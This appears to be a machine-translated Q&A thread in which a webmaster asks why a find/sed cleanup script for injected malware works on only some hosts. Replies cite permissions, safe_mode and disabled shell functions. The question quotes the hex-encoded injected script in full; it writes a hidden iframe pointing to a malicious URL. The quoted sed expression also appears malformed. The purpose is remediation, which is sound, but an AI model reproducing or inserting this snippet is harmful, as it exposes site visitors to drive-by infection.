为什么有些服务器不能运行SED命令?
最近我一直在试图修复我的服务器上的一系列病毒,我怀疑这是由于Blackhole工具包造成的。它附加一个js脚本到的index.php文件和.html文件最终看起来像这样..为什么有些服务器不能运行SED命令?
<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>
这是标准的iframe病毒的编码版本。我一直在尝试通过运行下面的脚本来删除它。 (这是堆栈溢出的解决方案)。
$dir = "./";
$removejs = `find $dir -name "*.php" -type f |xargs sed -i '<script>var t=.*eval.*script>##g' 2>&1`;
问题是,该脚本适用于某些服务器,而其他服务器似乎没有效果。有谁知道为什么?我已经在至少10个独立的虚拟主机上试过了。该脚本只能在约3台主机上成功运行。其余的只是没有做任何事情。我需要更改哪些设置?
感谢任何帮助,我可以得到。谢谢 !
如果你运行这个脚本使用http请求,即它就会通过网络服务器与像
nobody
或apache
的用户权限拼命地跑 - 然后在此脚本中使用sed -i
命令就不能更改任何文件find
由于权限不足而建立。您的PHP安装可能会禁用反引号和/或任何其他形式的命令执行,因为它通常是直接的安全威胁(使用
safe_mode
,使用PHP suhosin补丁指令等)。
您最好的办法是检查未执行此脚本的主机上的Web服务器日志。
您正在使用的某些主机可能已禁用shell功能(exec
,,system
等),可能是通过PHP臭名昭着的safe_mode
配置选项禁用的。您将需要用纯PHP重写脚本,或者找到另一种方法来删除插入的内容。
对一些主机启用safe_mode,但不是脚本无法运行的所有主机。也许它可能是设置的组合。我尝试使用preg_replace重写,但它似乎需要777工作。 – awlhy
PHP文件的权限? – 2011-08-31 05:49:37
你不是试过通过ssh运行shell脚本吗? – realmfoo
这绝对不是权限,我没有ssh帐户。 – awlhy